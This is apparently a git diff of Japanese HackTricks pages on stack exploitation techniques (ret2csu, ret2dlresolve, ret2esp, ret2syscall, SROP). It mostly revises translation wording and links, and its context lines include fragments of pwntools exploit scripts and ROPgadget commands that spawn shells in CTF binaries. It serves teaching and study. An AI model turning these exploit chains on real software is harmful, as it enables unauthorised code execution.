syscall を行うか、`write()` のような関数を呼び出したいが、`rdx` と `rsi` レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。
|
||||||
|
|
||||||
ここで **ret2csu** が登場します:
|
ここで **ret2csu** が登場します:
|
||||||
|
|
||||||
1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、r15 に入れます。
|
1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、および r15 に入れます。
|
||||||
2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、`r15` と `rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。
|
2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、`r15` と `rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。そして、そのアドレスを `[r15 + rbx*8]` に配置します。
|
||||||
|
|
||||||
この技術を使用した[**例とその説明はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)で、これが使用された最終的なエクスプロイトです:
|
この技術を使用した[**例とその説明はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)で、これが使用された最終的なエクスプロイトです:
|
||||||
```python
|
```python
|
||||||
@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||||||
print(p.recvline()) # should receive "Awesome work!"
|
print(p.recvline()) # should receive "Awesome work!"
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 前のエクスプロイトは**`RCE`**を行うことを目的としていないことに注意してください。これは、**`win`**という関数を呼び出すことを目的としており(ROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します)、第3引数には値`0xdeadbeefcafed00d`を指定します。
|
> 注意してください、前のエクスプロイトは**`RCE`**を行うことを目的としていません。これは、単に**`win`**という関数を呼び出すことを目的としています(ROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します)第三引数として値`0xdeadbeefcafed00d`を持つものです。
|
||||||
|
|
||||||
### コールをバイパスしてretに到達する
|
### コールをバイパスしてretに到達する
|
||||||
|
|
||||||
次のエクスプロイトは、**このページ**から抽出されました(https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)。ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**。
|
以下のエクスプロイトは、**このページ**から抽出されました[**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**:
|
||||||
```python
|
```python
|
||||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||||
@ -167,6 +167,6 @@ target.interactive()
|
|||||||
```
|
```
|
||||||
### なぜ直接libcを使用しないのか?
|
### なぜ直接libcを使用しないのか?
|
||||||
|
|
||||||
通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は3つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。
|
通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html)にも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は3つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,37 +4,37 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) および [**Relro**](../common-binary-protections-and-bypasses/relro.md) に関するページで説明されているように、Full Relro がないバイナリは、最初に使用されるときにシンボル(外部ライブラリへのアドレスなど)を解決します。この解決は、**`_dl_runtime_resolve`** 関数を呼び出すことで行われます。
|
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) および [**Relro**](../common-binary-protections-and-bypasses/relro.md) に関するページで説明されているように、Full Relro がないバイナリは、最初に使用されるときにシンボル(外部ライブラリへのアドレスなど)を解決します。この解決は、関数 **`_dl_runtime_resolve`** を呼び出すことで行われます。
|
||||||
|
|
||||||
**`_dl_runtime_resolve`** 関数は、指定されたシンボルを解決するために必要な構造体への参照をスタックから取得します。
|
**`_dl_runtime_resolve`** 関数は、指定されたシンボルを解決するために必要な構造体への参照をスタックから取得します。
|
||||||
|
|
||||||
したがって、要求されたシンボル(例えば **`system`** 関数)を動的にリンクして解決するために、これらの構造体をすべて**偽装する**ことが可能です。そして、構成されたパラメータ(例: **`system('/bin/sh')`**)で呼び出すことができます。
|
したがって、要求されたシンボル(例えば **`system`** 関数)を動的にリンクして解決するために、これらの構造体をすべて**偽造する**ことが可能です。そして、構成されたパラメータ(例: **`system('/bin/sh')`**)で呼び出すことができます。
|
||||||
|
|
||||||
通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す**初期ROPチェーンを作成することによって偽装され**、その後、**構造体**と文字列 **`'/bin/sh'`** が渡され、既知の場所に読み込まれます。そして、ROPチェーンは **`_dl_runtime_resolve`** を呼び出すことで続き、偽装された構造体内で **`system`** のアドレスを**解決し**、このアドレスを **`'/bin/sh'`** のアドレスで呼び出します。
|
通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す**初期ROPチェーン**を作成することで偽造され、その後 **構造体** と文字列 **`'/bin/sh'`** が渡され、既知の場所に読み込まれます。そして、ROPチェーンは **`_dl_runtime_resolve`** を呼び出すことで続き、偽造された構造体内で **`system`** のアドレスを**解決し**、このアドレスを **`'/bin/sh'`** のアドレスで呼び出します。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> この技術は、syscallガジェットがない場合([**ret2syscall**](rop-syscall-execv/) や [SROP](srop-sigreturn-oriented-programming/) のような技術を使用するため)や、libcアドレスを漏洩させる方法がない場合に特に有用です。
|
> この技術は、syscallガジェットがない場合([**ret2syscall**](rop-syscall-execv/index.html) や [SROP](srop-sigreturn-oriented-programming/index.html) などの技術を使用するため)や、libcアドレスを漏洩させる方法がない場合に特に有用です。
|
||||||
|
|
||||||
この技術についての良い説明が動画の後半にあるので、チェックしてください:
|
この技術についての良い説明がある動画の後半をチェックしてください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
また、ステップバイステップの説明については、以下のページを確認してください:
|
または、ステップバイステップの説明があるこれらのページを確認してください:
|
||||||
|
|
||||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
|
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||||
|
|
||||||
## 攻撃の概要
|
## 攻撃の概要
|
||||||
|
|
||||||
1. いくつかの場所に偽の構造体を書き込む
|
1. どこかに偽の構造体を書き込む
|
||||||
2. system の最初の引数を設定する(`$rdi = &'/bin/sh'`)
|
2. system の最初の引数を設定する(`$rdi = &'/bin/sh'`)
|
||||||
3. **`_dl_runtime_resolve`** を呼び出すための構造体へのアドレスをスタックに設定する
|
3. **`_dl_runtime_resolve`** を呼び出すための構造体へのアドレスをスタックに設定する
|
||||||
4. **呼び出す** `_dl_runtime_resolve`
|
4. **呼び出す** `_dl_runtime_resolve`
|
||||||
5. **`system`** が解決され、引数として `'/bin/sh'` で呼び出される
|
5. **`system`** が解決され、`'/bin/sh'` を引数として呼び出される
|
||||||
|
|
||||||
[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) から、これが **`ret2dlresolve`** 攻撃の見た目です:
|
[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) から、これが **`ret2dlresolve`** 攻撃の様子です:
|
||||||
```python
|
```python
|
||||||
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||||
>>> rop = ROP(elf)
|
>>> rop = ROP(elf)
|
||||||
@ -58,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
|||||||
|
|
||||||
### 純粋なPwntools
|
### 純粋なPwntools
|
||||||
|
|
||||||
この技術の[**例はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **に非常に良い最終ROPチェーンの説明が含まれていますが、ここに使用された最終的なエクスプロイトがあります:**
|
この[**技術の例はこちらにあります**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **最終的なROPチェーンの非常に良い説明が含まれています**が、ここに使用された最終的なエクスプロイトがあります:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -188,6 +188,6 @@ target.interactive()
|
|||||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||||
- 32ビット、relroなし、canaryなし、nx、pieなし、基本的な小さなバッファオーバーフローとリターン。これを悪用するために、bofは`.bss`セクションとより大きなサイズで`read`を再度呼び出すために使用され、そこに`dlresolve`の偽テーブルを格納して`system`をロードし、mainに戻り、最初のbofを再利用してdlresolveを呼び出し、その後`system('/bin/sh')`を実行します。
|
- 32ビット、relroなし、canaryなし、nx、pieなし、基本的な小さなバッファオーバーフローとリターン。これを悪用するために、bofは再度`read`を呼び出すために使用され、`.bss`セクションとより大きなサイズを指定して、`dlresolve`の偽テーブルをそこに格納し、`system`をロードし、mainに戻り、最初のbofを再利用してdlresolveを呼び出し、その後`system('/bin/sh')`を呼び出します。
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,13 +4,13 @@
|
|||||||
|
|
||||||
## **Ret2esp**
|
## **Ret2esp**
|
||||||
|
|
||||||
**ESP(スタックポインタ)が常にスタックの最上部を指しているため**、この技術はEIP(命令ポインタ)を**`jmp esp`**または**`call esp`**命令のアドレスで置き換えることを含みます。これにより、シェルコードは上書きされたEIPのすぐ後ろに配置されます。`ret`命令が実行されると、ESPは次のアドレスを指し、正確にシェルコードが格納されている場所になります。
|
**ESP(スタックポインタ)が常にスタックの最上部を指しているため**、この技術はEIP(命令ポインタ)を**`jmp esp`**または**`call esp`**命令のアドレスで置き換えることを含みます。これにより、シェルコードは上書きされたEIPのすぐ後に配置されます。`ret`命令が実行されると、ESPは次のアドレスを指し、正確にシェルコードが格納されている場所になります。
|
||||||
|
|
||||||
**アドレス空間配置のランダム化(ASLR)**がWindowsやLinuxで有効でない場合、共有ライブラリに見つかる`jmp esp`または`call esp`命令を使用することが可能です。しかし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)が有効な場合、これらの命令を見つけるために脆弱なプログラム自体を調べる必要があるかもしれません(そして、[**PIE**](../common-binary-protections-and-bypasses/pie/)を回避する必要があるかもしれません)。
|
**アドレス空間配置のランダム化(ASLR)**がWindowsやLinuxで有効でない場合、共有ライブラリに見つかる`jmp esp`または`call esp`命令を使用することが可能です。しかし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)が有効な場合、これらの命令を見つけるために脆弱なプログラム自体を調べる必要があるかもしれません(そして、[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)を打破する必要があるかもしれません)。
|
||||||
|
|
||||||
さらに、EIPの破損の**後にシェルコードを配置できる**ことは、関数の操作中に実行される`push`や`pop`命令がシェルコードに干渉しないことを保証します。この干渉は、シェルコードが関数のスタックの中間に配置されている場合に発生する可能性があります。
|
さらに、シェルコードを**EIPの破損後**に配置できることは、関数の操作中に実行される`push`や`pop`命令がシェルコードに干渉しないことを保証します。この干渉は、シェルコードが関数のスタックの中間に配置されている場合に発生する可能性があります。
|
||||||
|
|
||||||
### スペース不足
|
### スペースが不足している場合
|
||||||
|
|
||||||
RIPを上書きした後に書き込むスペースが不足している場合(おそらく数バイトだけ)、初期の**`jmp`**シェルコードを次のように書きます:
|
RIPを上書きした後に書き込むスペースが不足している場合(おそらく数バイトだけ)、初期の**`jmp`**シェルコードを次のように書きます:
|
||||||
```armasm
|
```armasm
|
||||||
@ -41,7 +41,7 @@ pause()
|
|||||||
p.sendlineafter('RSP!\n', payload)
|
p.sendlineafter('RSP!\n', payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
この技術の別の例は[https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`shellcode`にジャンプするために`jmp esp;`が使われます。
|
この技術の別の例は[https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`shellcode`にジャンプするために`jmp esp;`が使われます:
|
||||||
```python
|
```python
|
||||||
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
|
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
|
||||||
from pwn import *
|
from pwn import *
|
||||||
@ -92,7 +92,7 @@ target.interactive()
|
|||||||
|
|
||||||
### Ret2sp
|
### Ret2sp
|
||||||
|
|
||||||
ARM64 では、**SP レジスタにジャンプする**命令は**存在しません**。**sp をレジスタに移動させ、そのレジスタにジャンプする**ガジェットを見つけることができるかもしれませんが、私の Kali の libc ではそのようなガジェットを見つけることができませんでした:
|
ARM64 には **SP レジスタにジャンプする** 命令が **ありません**。レジスタに sp を移動させ、そのレジスタにジャンプするガジェットを見つけることができるかもしれませんが、私の Kali の libc ではそのようなガジェットを見つけることができませんでした:
|
||||||
```bash
|
```bash
|
||||||
for i in `seq 1 30`; do
|
for i in `seq 1 30`; do
|
||||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||||
@ -135,7 +135,7 @@ do_stuff(2)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
関数の逆アセンブルを確認すると、**バッファへのアドレス**(bofに対して脆弱であり、**ユーザーによって制御される**)が**`x0`に格納されている**ことがわかります。バッファオーバーフローから戻る前に:
|
関数の逆アセンブルを確認すると、**バッファへのアドレス**(bofに対して脆弱であり、**ユーザーによって制御される**)が、バッファオーバーフローから戻る前に**`x0`に格納されている**ことがわかります:
|
||||||
|
|
||||||
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@ -143,7 +143,7 @@ return 0;
|
|||||||
|
|
||||||
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
このガジェットを使用してそこにジャンプします。バイナリは**PIEなしでコンパイルされています。** パターンを使用すると、**バッファオーバーフローのオフセットは80である**ことがわかるので、エクスプロイトは次のようになります:
|
バイナリが**PIEなしでコンパイルされている**ため、そのガジェットを使用してそこにジャンプします。パターンを使用すると、**バッファオーバーフローのオフセットは80**であることがわかるので、エクスプロイトは次のようになります:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -165,7 +165,7 @@ p.interactive()
|
|||||||
## Protections
|
## Protections
|
||||||
|
|
||||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行可能でない場合、シェルコードをスタックに配置して実行するためには役に立ちません。
|
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行可能でない場合、シェルコードをスタックに配置して実行するためには役に立ちません。
|
||||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): これらは esp や他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): これらは esp や他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
@ -4,19 +4,19 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すことはありません。この場合、`sys_execve`システムコールを呼び出すために、いくつかの引数を準備します。これにより、`/bin/sh`を実行します。この技術は通常、静的にコンパイルされたバイナリで実行されるため、多くのガジェットやシステムコール命令が存在する可能性があります。
|
これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すことはありません。この場合、すべては`sys_execve`システムコールを引数付きで呼び出し、`/bin/sh`を実行するために準備されます。この技術は通常、静的にコンパイルされたバイナリで実行されるため、多くのガジェットやシステムコール命令が存在する可能性があります。
|
||||||
|
|
||||||
**syscall**の呼び出しを準備するためには、次の構成が必要です:
|
**syscall**の呼び出しを準備するためには、以下の設定が必要です:
|
||||||
|
|
||||||
- `rax: 59 sys_execveを指定`
|
- `rax: 59 sys_execveを指定`
|
||||||
- `rdi: "/bin/sh"へのポインタ、実行するファイルを指定`
|
- `rdi: "/bin/sh"へのポインタ、実行するファイルを指定`
|
||||||
- `rsi: 0、引数は渡さないことを指定`
|
- `rsi: 0、引数は渡さないことを指定`
|
||||||
- `rdx: 0、環境変数は渡さないことを指定`
|
- `rdx: 0、環境変数は渡さないことを指定`
|
||||||
|
|
||||||
基本的には、`/bin/sh`という文字列をどこかに書き込み、その後`syscall`を実行する必要があります(スタックを制御するために必要なパディングに注意)。これには、`/bin/sh`を既知の領域に書き込むためのガジェットが必要です。
|
基本的に、`/bin/sh`という文字列をどこかに書き込み、その後`syscall`を実行する必要があります(スタックを制御するために必要なパディングに注意)。これには、`/bin/sh`を既知の領域に書き込むためのガジェットが必要です。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 呼び出すのに興味深い別のシステムコールは**`mprotect`**で、これにより攻撃者は**メモリ内のページの権限を変更**することができます。これは[**ret2shellcode**](../../stack-overflow/stack-shellcode/)と組み合わせることができます。
|
> 呼び出すのに興味深い別のシステムコールは**`mprotect`**で、これにより攻撃者は**メモリ内のページの権限を変更する**ことができます。これは[**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html)と組み合わせることができます。
|
||||||
|
|
||||||
## レジスタガジェット
|
## レジスタガジェット
|
||||||
|
|
||||||
@ -28,7 +28,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
|||||||
0x00000000004101f3 : pop rsi ; ret
|
0x00000000004101f3 : pop rsi ; ret
|
||||||
0x00000000004498b5 : pop rdx ; ret
|
0x00000000004498b5 : pop rdx ; ret
|
||||||
```
|
```
|
||||||
これらのアドレスを使用すると、**スタックにコンテンツを書き込み、レジスタにロードする**ことが可能です。
|
これらのアドレスを使用すると、**スタックの内容を書き込み、レジスタにロードする**ことが可能です。
|
||||||
|
|
||||||
## 文字列の書き込み
|
## 文字列の書き込み
|
||||||
|
|
||||||
@ -45,7 +45,7 @@ Start End Offset Perm Path
|
|||||||
```
|
```
|
||||||
### メモリに文字列を書く
|
### メモリに文字列を書く
|
||||||
|
|
||||||
次に、このアドレスに任意の内容を書き込む方法を見つける必要があります。
|
次に、このアドレスに任意のコンテンツを書き込む方法を見つける必要があります。
|
||||||
```python
|
```python
|
||||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||||
@ -172,10 +172,10 @@ target.interactive()
|
|||||||
## その他の例と参考文献
|
## その他の例と参考文献
|
||||||
|
|
||||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
||||||
- 64ビット、PIEなし、nx、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。
|
- 64ビット、PIEなし、nx、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。
|
||||||
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
|
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
|
||||||
- 64ビット、nx、PIEなし、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。スタックに書き込むために数学的操作を行う関数が悪用されます。
|
- 64ビット、nx、PIEなし、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。スタックに数学的操作を行う関数を書き込むために悪用されます。
|
||||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||||
- 64ビット、PIEなし、nx、BFカナリア、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。
|
- 64ビット、PIEなし、nx、BFカナリア、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -55,7 +55,7 @@
|
|||||||
| __reserved | sigmask |
|
| __reserved | sigmask |
|
||||||
+--------------------+--------------------+
|
+--------------------+--------------------+
|
||||||
```
|
```
|
||||||
より良い説明については、こちらも確認してください:
|
より良い説明のために、こちらも確認してください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||||
@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
|
|||||||
|
|
||||||
## 例
|
## 例
|
||||||
|
|
||||||
[**ここに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) で、signeturnへの呼び出しがROPを介して構築されていることが示されています(rxaに値`0xf`を入れています)。ただし、これはそこからの最終的なエクスプロイトです:
|
[**こちらに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) では、ROPを介してsigneturnへの呼び出しが構築されており(rxaに値`0xf`を入れる)、これはそこからの最終的なエクスプロイトです:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -128,13 +128,13 @@ target.interactive()
|
|||||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
|
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
|
||||||
- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。
|
- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。**sigreturn**構造体を介してスタックに[**ret2syscall**](../rop-syscall-execv/index.html)を書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。
|
||||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||||
- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込むことが可能です(バイナリには`/bin/sh`という文字列があります)。
|
- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。**sigreturn**構造体を介してスタックに[**ret2syscall**](../rop-syscall-execv/index.html)を書き込むことが可能です(バイナリには`/bin/sh`という文字列があります)。
|
||||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||||
- 64ビット、relroなし、canaryなし、nx、pieなし。ガジェットが不足している`gets`関数を悪用したシンプルなバッファオーバーフローで、[**ret2syscall**](../rop-syscall-execv/)を実行します。ROPチェーンは`gets`を再度呼び出すことで`/bin/sh`を`.bss`に書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。
|
- 64ビット、relroなし、canaryなし、nx、pieなし。ガジェットが不足している`gets`関数を悪用したシンプルなバッファオーバーフローで[**ret2syscall**](../rop-syscall-execv/index.html)を実行します。ROPチェーンは`gets`を再度呼び出すことで`/bin/sh`を`.bss`に書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。
|
||||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||||
